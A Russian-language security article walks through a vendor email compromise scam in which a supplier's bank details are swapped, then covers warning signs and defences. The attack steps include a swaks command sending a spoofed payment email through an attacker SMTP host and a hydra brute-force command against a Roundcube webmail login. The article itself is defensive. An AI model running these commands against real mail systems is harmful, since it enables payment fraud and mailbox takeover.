История с оптовой компанией — не про сложный взлом сервера. Это про атаку класса BEC (Business Email Compromise), точнее её частный случай — Vendor Email Compromise (VEC), подмену реквизитов поставщика. Такие атаки не требуют эксплуатации нулевого дня: злоумышленнику достаточно немного OSINT, дешёвого домена и правильно составленного письма. Разберём, как это устроено технически — шаг за шагом, теми же инструментами, которыми пользуются и пентестеры на легальных проектах, и реальные мошенники.
Как это эксплуатируется
Шаг 1. Разведка компании и её контрагентов
Первая задача атакующего — понять, с кем компания работает и как выглядит переписка. Источники открытые: сайт, тендерные площадки, ЕГРЮЛ, соцсети сотрудников, утечки баз (их проверяют через сервисы вроде Have I Been Pwned или локальные дампы). Дальше — техническая разведка домена цели и её поставщиков:
dig MX postavshik-example.ru +short
dig TXT postavshik-example.ru +short
dig TXT _dmarc.postavshik-example.ru +shortТипичный результат для компании без выстроенной защиты почты:
; TXT для _dmarc отсутствует (NXDOMAIN)
; SPF record: "v=spf1 include:mail.hoster.ru ~all" (soft fail, не жёсткий -all)Отсутствие DMARC-записи или политика p=none — прямой сигнал: письма с поддельным полем «От кого» дойдут до получателя без пометки «спам» и без отклонения.
Шаг 2. Регистрация похожего домена
Дальше ищется или регистрируется домен, визуально неотличимый от домена настоящего поставщика. Для автоматизации подбора используется dnstwist:
dnstwist --registered postavshik-example.ru
[Original] postavshik-example.ru
[Addition] postavshik-example1.ru REGISTERED (свежий, 3 дня)
[Omission] postavshikexample.ru REGISTERED
[Bitsquat] posravshik-example.ru availableРегистрируется свободный вариант, настраиваются MX-записи и SPF/DKIM для нового домена — чтобы поддельные письма сами проходили проверки:
dig TXT postavshik-example1.ru
"v=spf1 include:_spf.mailhoster.com ~all"Шаг 3. Отправка письма со сменой реквизитов
Письмо отправляется либо с похожего домена, либо через прямой spoofing поля From, если у настоящего домена поставщика тоже нет жёсткого SPF/DMARC. Для тестовой отправки такого письма (в легальном пентесте) используется swaks:
swaks --to buh@target-company.ru \
--from "Иванов И.И. " \
--server smtp.attacker-infra.com \
--header "Subject: Смена банковских реквизитов" \
--body "Добрый день! В связи с переходом на новый расчётный счёт просим..." \
--attach reквизиты.pdf Для массовых кампаний и подмены сессий на более продвинутом уровне применяют фреймворки фишинга: Gophish для рассылки и отслеживания открытий, Evilginx2 — если цель не просто подмена реквизитов, а перехват учётки почты через реверс-прокси и кражу сессионных cookie мимо MFA.
Шаг 4. Если нужен доступ к реальной переписке
Более технически подкованные группы не подделывают домен, а компрометируют настоящую почту поставщика — тогда письмо приходит буквально с легитимного адреса, в правильном треде. Для этого используют брутфорс слабых паролей на внешних почтовых интерфейсах:
nmap -p 25,110,143,443,465,587,993,995 mail.postavshik-example.ru
PORT STATE SERVICE
443/tcp open https (Roundcube webmail 1.4.x)
587/tcp open submission
hydra -l buh@postavshik-example.ru -P rockyou.txt \
mail.postavshik-example.ru https-post-form \
"/?_task=login:_user=^USER^&_pass=^PASS^:incorrect"Устаревшая версия Roundcube (1.4.x, до патчей CVE-2020-12641 и связанных RCE через настройки) — частая находка при таком сканировании и сама по себе даёт вектор для захвата почтового ящика, минуя брутфорс паролей.
Полутехнические пруфы, на которые стоит смотреть
- В заголовках подозрительного письма поле
Return-Pathи домен вFromне совпадают, аReceived-SPF: noneилиsoftfailвместоpass. - Домен отправителя зарегистрирован недавно — проверяется через
whois: дата создания на 1–10 дней раньше письма — почти всегда признак атаки. - Отсутствует DKIM-подпись или она невалидна:
dig TXT selector1._domainkey.postavshik-example.ruвозвращает пусто. - PDF с новыми реквизитами — не подписанный документ, часто с редактируемыми полями (проверяется через
exiftool файл.pdf: указано ПО вроде Word/LibreOffice вместо стандартного 1С/СБИС шаблона). - В почтовых логах провайдера — множественные неудачные попытки логина за короткий промежуток на webmail, характерные для hydra/medusa: десятки запросов в минуту с одного IP или диапазона IP дата-центра.
Что и почему сработало бы дальше
Если бы бухгалтер один раз подтвердила реквизиты по телефону — атака бы сорвалась на этом шаге. Но раз системы подтверждения не было, у злоумышленника был запас хода для развития:
- Повторные письма «с уточнением суммы» на протяжении нескольких недель — вытянуть не один платёж, а несколько, пока подмена не вскроется.
- При компрометации реальной почты поставщика (не спуфинг, а взлом ящика) — атака становится почти неотличимой от легитимной переписки, включая ответы на исторические письма в том же треде.
- После первого успешного перевода — попытка эскалации через тот же канал: письмо «в бухгалтерию» от имени директора с просьбой срочно оплатить ещё один счёт (классический CEO Fraud поверх VEC).
- Параллельно — использование той же скомпрометированной инфраструктуры (домена, SMTP-релея) для атак на других контрагентов компании, если у неё есть доступ к адресной книге через взломанный ящик.
Как закрыть
Технические меры здесь дешевле любого инцидента и настраиваются без выделенного ИБ-специалиста в штате.
- Включить и ужесточить почтовую аутентификацию для собственного домена:
; SPF - жёсткая политика v=spf1 include:_spf.yandex.net -all ; DMARC с отклонением и отчётами _dmarc.company.ru TXT "v=DMARC1; p=reject; rua=mailto:dmarc@company.ru" - Проверять DKIM/DMARC входящих писем через встроенные средства почтового сервиса (Яндекс 360, Mail.ru для бизнеса, MS Defender for Office 365) — большинство подмен домена отсекается автоматически при правильной настройке фильтров.
- Ввести обязательную процедуру: любые новые реквизиты и любые изменения в существующих — подтверждаются звонком по номеру из CRM/договора, а не по номеру из письма.
- Закрыть внешние точки входа в почту: если webmail торчит наружу — включить MFA, актуализировать версии (Roundcube, Zimbra, Exim — регулярно проверять CVE), ограничить попытки входа через fail2ban:
fail2ban-client status roundcube-auth - Настроить резервное копирование 1С и бухгалтерских данных в независимое хранилище (в кейсе — отечественное облако) с проверкой восстановления не реже раза в квартал.
- Заменить «случайное чтение бесплатных каналов» на системный поток индикаторов угроз: платные или открытые фиды threat intelligence (MISP-сообщества, CISA advisories, бюллетени НКЦКИ), а не разрозненные телеграм-каналы, судьба которых непредсказуема.
- Провести короткое обучение сотрудников с реальными примерами писем-подделок — 30–40 минут раз в квартал снижают вероятность успешной атаки в разы эффективнее, чем толстая инструкция, которую никто не читает.
Спуфинг домена и подмена реквизитов — атака без эксплойтов и без взлома серверов. Она эксплуатирует ровно то, что не защищено процессом: доверие бухгалтера к письму и отсутствие второго канала подтверждения.
В этом кейсе техническая часть атаки была предельно простой — не пришлось даже взламывать почту поставщика, хватило слабой настройки SPF/DMARC и отсутствия процедуры подтверждения. Именно поэтому системные меры — конфигурация почты, регламент для бухгалтерии и резервные копии — закрывают риск на порядок надёжнее, чем ежедневное чтение даже самых качественных ИБ-каналов.